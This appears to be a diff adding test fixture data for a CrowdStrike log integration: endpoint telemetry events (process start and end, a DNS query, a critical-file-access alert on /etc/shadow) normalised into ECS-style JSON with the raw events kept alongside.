-a\",\"ConfigBuild\":\"1007.8.0009806.1\",\"ConfigStateHash\":\"4288861242\",\"Entitlements\":\"15\",\"GID\":\"0\",\"ImageFileName\":\"/bin/uname\",\"MD5HashData\":\"894356eb59e279696c304f07091b7fde\",\"NDRoot\":\"321385814512398584\",\"ParentProcessId\":\"321385814512398584\",\"ProcessEndTime\":\"1604855099.126\",\"ProcessGroupId\":\"0\",\"ProcessStartTime\":\"1604855099.126\",\"RGID\":\"0\",\"RUID\":\"0\",\"RawProcessId\":\"51342\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa\",\"SVGID\":\"0\",\"SVUID\":\"0\",\"SessionProcessId\":\"314116638974342642\",\"SourceProcessId\":\"321385814512398584\",\"SourceThreadId\":\"0\",\"TargetProcessId\":\"321385814512398605\",\"UID\":\"0\",\"aid\":\"ffffffff70d140ca9ba97f0dddd14137\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Lin\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-ac87-06decddc17a1\",\"name\":\"ProcessRollup2LinV5\",\"timestamp\":\"1604855099681\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "group": { + "Ext": { + "real": { + "id": "0" + } + }, + "id": "0" + }, + "host": { + "id": "ffffffff70d140ca9ba97f0dddd14137", + "os": { + "type": "linux" + } + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff70d140ca9ba97f0dddd14137", + "version": "1007.8.0009806.1" + }, + "process": { + "args": [ + "uname", + "-a" + ], + "args_count": 2, + "command_line": "uname -a", + "end": "2020-11-08T17:04:59.126Z", + "entity_id": "321385814512398605", + "executable": "/bin/uname", + "group": { + "id": "0" + }, + "group_leader": { + "entity_id": "0" + }, + "hash": { + "md5": "894356eb59e279696c304f07091b7fde", + "sha256": "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa" + }, + "name": "uname", + "parent": { + "entity_id": "321385814512398584" + }, + "pgid": 0, + "pid": 51342, + "real_group": { + "id": "0" + }, + "real_user": { + "id": "0" + }, + "start": "2020-11-08T17:04:59.126Z", + "uptime": 0 + }, + "related": { + "hash": [ + "894356eb59e279696c304f07091b7fde", + "de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa", + "4288861242" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "0" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "Ext": { + "real": { + "id": "0" + } + }, + "group": { + "id": "0" + }, + "id": "0" + } + }, + { + "@timestamp": "2020-11-08T17:04:59.646Z", + "crowdstrike": { + "AsepWrittenCount": 0, + "ConfigStateHash": "1789338890", + "ContextProcessId": "317713210176499254", + "ContextTimeStamp": "2020-11-08T17:04:56.730Z", + "DirectoryCreatedCount": 0, + "DnsRequestCount": 0, + "Entitlements": "15", + "ExecutableDeletedCount": 0, + "FileDeletedCount": 0, + "NetworkBindCount": 0, + "NetworkCapableAsepWriteCount": 0, + "NetworkCloseCount": 0, + "NetworkConnectCount": 0, + "NetworkListenCount": 0, + "NetworkRecvAcceptCount": 0, + "NewExecutableWrittenCount": 0, + "SHA256HashData": "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0", + "SuspectStackCount": 0, + "SuspiciousDnsRequestCount": 0, + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-809e-02fff4e55a49", + "name": "EndOfProcessMacV14" + }, + "device": { + "id": "ffffffff75fc48f15cfe5f095e605c4c" + }, + "event": { + "action": "EndOfProcess", + "category": [ + "process" + ], + "created": "2020-11-08T17:04:59.646Z", + "id": "ffffffff-1111-11eb-809e-02fff4e55a49|ffffffff75fc48f15cfe5f095e605c4c|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ContextProcessId\":\"317713210176499254\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855096.730\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"28987\",\"SHA256HashData\":\"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"317713210176499254\",\"aid\":\"ffffffff75fc48f15cfe5f095e605c4c\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-809e-02fff4e55a49\",\"name\":\"EndOfProcessMacV14\",\"timestamp\":\"1604855099646\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "id": "ffffffff75fc48f15cfe5f095e605c4c", + "os": { + "type": "macos" + } + }, + "message": "EndOfProcess", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff75fc48f15cfe5f095e605c4c", + "version": "1007.4.0011104.1" + }, + "process": { + "entity_id": "317713210176499254", + "hash": { + "sha256": "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0" + }, + "pid": 28987, + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0", + "1789338890" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:04:59.935Z", + "crowdstrike": { + "AllocateVirtualMemoryCount": 0, + "ArchiveFileWrittenCount": 0, + "AsepWrittenCount": 0, + "BinaryExecutableWrittenCount": 0, + "CLICreationCount": 0, + "ConHostId": "38188", + "ConHostProcessId": "3099352216141", + "ConfigStateHash": "3343111420", + "ContextProcessId": "3100508103359", + "ContextTimeStamp": "2020-11-08T17:04:57.926Z", + "CreateProcessCount": 0, + "CycleTime": 2937514388, + "DirectoryCreatedCount": 0, + "DirectoryEnumeratedCount": 1, + "DnsRequestCount": 0, + "DocumentFileWrittenCount": 0, + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "ExeAndServiceCount": 0, + "ExecutableDeletedCount": 0, + "FileDeletedCount": 2, + "GenericFileWrittenCount": 0, + "ImageSubsystem": "3", + "InjectedDllCount": 0, + "InjectedThreadCount": 0, + "KernelTime": 7500000, + "MaxThreadCount": 4, + "ModuleLoadCount": 38, + "NetworkBindCount": 0, + "NetworkCapableAsepWriteCount": 0, + "NetworkCloseCount": 0, + "NetworkConnectCount": 0, + "NetworkConnectCountUdp": 0, + "NetworkListenCount": 0, + "NetworkModuleLoadCount": 0, + "NetworkRecvAcceptCount": 0, + "NewExecutableWrittenCount": 0, + "PrivilegedProcessHandleCount": 0, + "ProtectVirtualMemoryCount": 0, + "QueueApcCount": 0, + "RegKeySecurityDecreasedCount": 0, + "RemovableDiskFileWrittenCount": 0, + "RunDllInvocationCount": 0, + "SHA256HashData": "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f", + "ScreenshotsTakenCount": 0, + "ScriptEngineInvocationCount": 0, + "ServiceEventCount": 0, + "SetThreadContextCount": 0, + "SnapshotFileOpenCount": 0, + "SuspectStackCount": 0, + "SuspiciousCredentialModuleLoadCount": 0, + "SuspiciousDnsRequestCount": 0, + "SuspiciousFontLoadCount": 0, + "SuspiciousRawDiskReadCount": 0, + "UnsignedModuleLoadCount": 0, + "UserMemoryAllocateExecutableCount": 0, + "UserMemoryAllocateExecutableRemoteCount": 0, + "UserMemoryProtectExecutableCount": 0, + "UserMemoryProtectExecutableRemoteCount": 0, + "UserTime": 6406250, + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8726-063418e4a9e7", + "name": "EndOfProcessV15" + }, + "device": { + "id": "ffffffffb5db4b2e7ec89aba537adcc2" + }, + "event": { + "action": "EndOfProcess", + "category": [ + "process" + ], + "created": "2020-11-08T17:04:59.935Z", + "id": "ffffffff-1111-11eb-8726-063418e4a9e7|ffffffffb5db4b2e7ec89aba537adcc2|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AllocateVirtualMemoryCount\":\"0\",\"ArchiveFileWrittenCount\":\"0\",\"AsepWrittenCount\":\"0\",\"BinaryExecutableWrittenCount\":\"0\",\"CLICreationCount\":\"0\",\"ConHostId\":\"38188\",\"ConHostProcessId\":\"3099352216141\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextData\":\"\",\"ContextProcessId\":\"3100508103359\",\"ContextThreadId\":\"93436292950223\",\"ContextTimeStamp\":\"1604855097.926\",\"CreateProcessCount\":\"0\",\"CycleTime\":\"2937514388\",\"DirectoryCreatedCount\":\"0\",\"DirectoryEnumeratedCount\":\"1\",\"DnsRequestCount\":\"0\",\"DocumentFileWrittenCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ExeAndServiceCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"ExitCode\":\"0\",\"FileDeletedCount\":\"2\",\"GenericFileWrittenCount\":\"0\",\"ImageSubsystem\":\"3\",\"InjectedDllCount\":\"0\",\"InjectedThreadCount\":\"0\",\"KernelTime\":\"7500000\",\"MaxThreadCount\":\"4\",\"ModuleLoadCount\":\"38\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkConnectCountUdp\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkModuleLoadCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"ParentProcessId\":\"3099350649383\",\"PrivilegedProcessHandleCount\":\"0\",\"ProcessStartTime\":\"1604855096.463\",\"ProtectVirtualMemoryCount\":\"0\",\"QueueApcCount\":\"0\",\"RawProcessId\":\"33016\",\"RegKeySecurityDecreasedCount\":\"0\",\"RemovableDiskFileWrittenCount\":\"0\",\"RunDllInvocationCount\":\"0\",\"SHA256HashData\":\"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f\",\"ScreenshotsTakenCount\":\"0\",\"ScriptEngineInvocationCount\":\"0\",\"ServiceEventCount\":\"0\",\"SetThreadContextCount\":\"0\",\"SnapshotFileOpenCount\":\"0\",\"SuspectStackCount\":\"0\",\"SuspiciousCredentialModuleLoadCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"SuspiciousFontLoadCount\":\"0\",\"SuspiciousRawDiskReadCount\":\"0\",\"TargetProcessId\":\"3100508103359\",\"UnsignedModuleLoadCount\":\"0\",\"UserMemoryAllocateExecutableCount\":\"0\",\"UserMemoryAllocateExecutableRemoteCount\":\"0\",\"UserMemoryProtectExecutableCount\":\"0\",\"UserMemoryProtectExecutableRemoteCount\":\"0\",\"UserSid\":\"S-1-5-18\",\"UserTime\":\"6406250\",\"aid\":\"ffffffffb5db4b2e7ec89aba537adcc2\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-8726-063418e4a9e7\",\"name\":\"EndOfProcessV15\",\"timestamp\":\"1604855099935\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "id": "ffffffffb5db4b2e7ec89aba537adcc2", + "os": { + "type": "windows" + } + }, + "message": "EndOfProcess", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffb5db4b2e7ec89aba537adcc2", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "3100508103359", + "exit_code": 0, + "hash": { + "sha256": "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f" + }, + "parent": { + "entity_id": "3099350649383" + }, + "pid": 33016, + "start": "2020-11-08T17:04:56.463Z", + "thread": { + "id": 93436292950223 + } + }, + "related": { + "hash": [ + "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f", + "3343111420" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "S-1-5-18" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-1-5-18" + } + }, + { + "@timestamp": "2020-11-08T17:05:00.139Z", + "crowdstrike": { + "AsepWrittenCount": 0, + "ConfigStateHash": "3344040805", + "ContextProcessId": "311775981885093125", + "ContextTimeStamp": "2020-11-08T17:05:01.341Z", + "DirectoryCreatedCount": 0, + "DnsRequestCount": 0, + "Entitlements": "15", + "ExecutableDeletedCount": 0, + "FileDeletedCount": 0, + "NetworkBindCount": 0, + "NetworkCapableAsepWriteCount": 0, + "NetworkCloseCount": 0, + "NetworkConnectCount": 0, + "NetworkListenCount": 0, + "NetworkRecvAcceptCount": 0, + "NewExecutableWrittenCount": 0, + "SHA256HashData": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3", + "SuspectStackCount": 0, + "SuspiciousDnsRequestCount": 0, + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-bc03-065126dd0691", + "name": "EndOfProcessMacV12" + }, + "device": { + "id": "ffffffff1aa0482a5ea94f64e08e7b15" + }, + "event": { + "action": "EndOfProcess", + "category": [ + "process" + ], + "created": "2020-11-08T17:05:00.139Z", + "id": "ffffffff-1111-11eb-bc03-065126dd0691|ffffffff1aa0482a5ea94f64e08e7b15|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0009304.1\",\"ConfigStateHash\":\"3344040805\",\"ContextProcessId\":\"311775981885093125\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855101.341\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"10507\",\"SHA256HashData\":\"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"311775981885093125\",\"aid\":\"ffffffff1aa0482a5ea94f64e08e7b15\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-bc03-065126dd0691\",\"name\":\"EndOfProcessMacV12\",\"timestamp\":\"1604855100139\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "id": "ffffffff1aa0482a5ea94f64e08e7b15", + "os": { + "type": "macos" + } + }, + "message": "EndOfProcess", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff1aa0482a5ea94f64e08e7b15", + "version": "1007.4.0009304.1" + }, + "process": { + "entity_id": "311775981885093125", + "hash": { + "sha256": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3" + }, + "pid": 10507, + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3", + "3344040805" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:05:00.030Z", + "crowdstrike": { + "AuthenticationId": "999", + "ConfigStateHash": "3765958535", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "ImageSubsystem": "3", + "IntegrityLevel": "16384", + "MD5HashData": "571391f723a439e985a2064337e2802a", + "ParentAuthenticationId": "999", + "ProcessCreateFlags": "67634688", + "ProcessParameterFlags": "24577", + "ProcessSxsFlags": "64", + "SHA256HashData": "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720", + "SessionId": "0", + "SourceProcessId": "17346335177", + "SourceThreadId": "107650023406", + "Tags": [ + "27", + "151", + "12094627905582", + "12094627906234" + ], + "TokenType": "1", + "WindowFlags": "384", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-a09e-06f79d630255", + "name": "ProcessRollup2V17" + }, + "device": { + "id": "ffffffff3a5a424fa02450da53619745" + }, + "event": { + "action": "ProcessRollup2", + "category": [ + "process" + ], + "created": "2020-11-08T17:05:00.030Z", + "id": "ffffffff-1111-11eb-a09e-06f79d630255|ffffffff3a5a424fa02450da53619745|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"D:\\\\projects\\\\splunk-forwarder\\\\bin\\\\splunk-powershell.exe --ps2\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume2\\\\projects\\\\splunk-forwarder\\\\bin\\\\splunk-powershell.exe\",\"ImageSubsystem\":\"3\",\"IntegrityLevel\":\"16384\",\"MD5HashData\":\"571391f723a439e985a2064337e2802a\",\"ParentAuthenticationId\":\"999\",\"ParentBaseFileName\":\"splunkd.exe\",\"ParentProcessId\":\"17346335177\",\"ProcessCreateFlags\":\"67634688\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"24577\",\"ProcessStartTime\":\"1604855099.406\",\"ProcessSxsFlags\":\"64\",\"RawProcessId\":\"6116\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720\",\"SessionId\":\"0\",\"SourceProcessId\":\"17346335177\",\"SourceThreadId\":\"107650023406\",\"Tags\":\"27, 151, 12094627905582, 12094627906234\",\"TargetProcessId\":\"583707537390\",\"TokenType\":\"1\",\"UserSid\":\"S-1-5-18\",\"WindowFlags\":\"384\",\"aid\":\"ffffffff3a5a424fa02450da53619745\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-a09e-06f79d630255\",\"name\":\"ProcessRollup2V17\",\"timestamp\":\"1604855100030\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffff3a5a424fa02450da53619745", + "os": { + "type": "windows" + } + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff3a5a424fa02450da53619745", + "version": "1007.3.0011603.1" + }, + "process": { + "Ext": { + "token": { + "integrity_level_name": "SYSTEM" + } + }, + "args": [ + "D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe", + "--ps2" + ], + "args_count": 2, + "command_line": "D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2", + "entity_id": "583707537390", + "executable": "\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe", + "hash": { + "md5": "571391f723a439e985a2064337e2802a", + "sha256": "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720" + }, + "name": "splunk-powershell.exe", + "parent": { + "entity_id": "17346335177", + "name": "splunkd.exe" + }, + "pid": 6116, + "start": "2020-11-08T17:04:59.406Z" + }, + "related": { + "hash": [ + "571391f723a439e985a2064337e2802a", + "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720", + "3765958535" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "S-1-5-18" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-1-5-18" + } + }, + { + "@timestamp": "2020-11-08T17:04:59.913Z", + "crowdstrike": { + "ConfigStateHash": "2784638081", + "ContextProcessId": "259090530891", + "ContextTimeStamp": "2020-11-08T17:04:55.961Z", + "DnsRequestCount": 1, + "DualRequest": "0", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InterfaceIndex": 0, + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8077-0606f7dcf2ed", + "name": "DnsRequestV3" + }, + "device": { + "id": "ffffffff4f1444bab96568879cb43556" + }, + "dns": { + "question": { + "name": "comp1.dom2", + "type": "A" + }, + "type": "query" + }, + "event": { + "action": "DnsRequest", + "category": [ + "network" + ], + "created": "2020-11-08T17:04:59.913Z", + "id": "ffffffff-1111-11eb-8077-0606f7dcf2ed|ffffffff4f1444bab96568879cb43556|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2784638081\",\"ContextProcessId\":\"259090530891\",\"ContextThreadId\":\"16409623709004\",\"ContextTimeStamp\":\"1604855095.961\",\"DnsRequestCount\":\"1\",\"DomainName\":\"comp1.dom2\",\"DualRequest\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InterfaceIndex\":\"0\",\"RequestType\":\"1\",\"aid\":\"ffffffff4f1444bab96568879cb43556\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"DnsRequest\",\"id\":\"ffffffff-1111-11eb-8077-0606f7dcf2ed\",\"name\":\"DnsRequestV3\",\"timestamp\":\"1604855099913\"}", + "outcome": "success", + "type": [ + "protocol" + ] + }, + "host": { + "id": "ffffffff4f1444bab96568879cb43556", + "os": { + "type": "windows" + } + }, + "message": "DnsRequest", + "network": { + "protocol": "dns" + }, + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff4f1444bab96568879cb43556", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "259090530891", + "thread": { + "id": 16409623709004 + } + }, + "related": { + "hash": [ + "2784638081" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:05:02.247Z", + "crowdstrike": { + "ConfigStateHash": "4288861242", + "ContextProcessId": "321385820045701199", + "ContextTimeStamp": "2020-11-08T17:05:01.645Z", + "Entitlements": "15", + "UnixMode": "32768", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-b70d-027f9ced2001", + "name": "CriticalFileAccessedLinV1" + }, + "device": { + "id": "ffffffff32ba43a483e76c6f0a4aa26f" + }, + "event": { + "action": "CriticalFileAccessed", + "category": [ + "file" + ], + "created": "2020-11-08T17:05:02.247Z", + "id": "ffffffff-1111-11eb-b70d-027f9ced2001|ffffffff32ba43a483e76c6f0a4aa26f|ffffffff30a3407dae27d0503611022d", + "kind": "alert", + "original": "{\"ConfigBuild\":\"1007.8.0009806.1\",\"ConfigStateHash\":\"4288861242\",\"ContextProcessId\":\"321385820045701199\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855101.645\",\"Entitlements\":\"15\",\"GID\":\"0\",\"TargetFileName\":\"/etc/shadow\",\"UID\":\"0\",\"UnixMode\":\"32768\",\"aid\":\"ffffffff32ba43a483e76c6f0a4aa26f\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Lin\",\"event_simpleName\":\"CriticalFileAccessed\",\"id\":\"ffffffff-1111-11eb-b70d-027f9ced2001\",\"name\":\"CriticalFileAccessedLinV1\",\"timestamp\":\"1604855102247\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "file": { + "directory": "/etc", + "name": "shadow", + "path": "/etc/shadow", + "type": "file" + }, + "group": { + "id": "0" + }, + "host": { + "id": "ffffffff32ba43a483e76c6f0a4aa26f", + "os": { + "type": "linux" + } + }, + "message": "CriticalFileAccessed", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff32ba43a483e76c6f0a4aa26f", + "version": "1007.8.0009806.1" + }, + "process": { + "entity_id": "321385820045701199", + "group": { + "id": "0" + }, + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "4288861242" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "0" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "group": { + "id": "0" + }, + "id": "0" + } + }, + { + "@timestamp": "2020-11-08T17:05:09.180Z", + "crowdstrike": { + "ConfigStateHash": "3344040805", + "Entitlements": "15", + "MD5HashData": "d51cef1b288e2032aee9805deff04bfd", + "MachOSubType": "1", + "RGID": "0", + "RUID": "0", + "SHA256HashData": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3", + "SVGID": "0", + "SVUID": "0", + "SourceProcessId": "311776004953765502", + "SourceThreadId": "0", + "Tags": [ + "27", + "12094627905582", + "12094627906234" + ], + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-bc03-065126dd0691", + "name": "ProcessRollup2MacV3" + }, + "device": { + "id": "ffffffff1aa0482a5ea94f64e08e7b15" + }, + "event": { + "action": "ProcessRollup2", + "category": [ + "process" + ], + "created": "2020-11-08T17:05:09.180Z", + "id": "ffffffff-1111-11eb-bc03-065126dd0691|ffffffff1aa0482a5ea94f64e08e7b15|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"CommandLine\":\"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist\",\"ConfigBuild\":\"1007.4.0009304.1\",\"ConfigStateHash\":\"3344040805\",\"Entitlements\":\"15\",\"GID\":\"0\",\"ImageFileName\":\"/usr/bin/plutil\",\"MD5HashData\":\"d51cef1b288e2032aee9805deff04bfd\",\"MachOSubType\":\"1\",\"ParentProcessId\":\"311774817965726568\",\"ProcessEndTime\":\"\",\"ProcessGroupId\":\"311774817965726568\",\"ProcessStartTime\":\"1604855111.240\",\"RGID\":\"0\",\"RUID\":\"0\",\"RawProcessId\":\"10692\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3\",\"SVGID\":\"0\",\"SVUID\":\"0\",\"SourceProcessId\":\"311776004953765502\",\"SourceThreadId\":\"0\",\"Tags\":\"27, 12094627905582, 12094627906234\",\"TargetProcessId\":\"311776004953765502\",\"UID\":\"0\",\"aid\":\"ffffffff1aa0482a5ea94f64e08e7b15\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-bc03-065126dd0691\",\"name\":\"ProcessRollup2MacV3\",\"timestamp\":\"1604855109180\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffff1aa0482a5ea94f64e08e7b15", + "os": { + "type": "macos" + } + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff1aa0482a5ea94f64e08e7b15", + "version": "1007.4.0009304.1" + 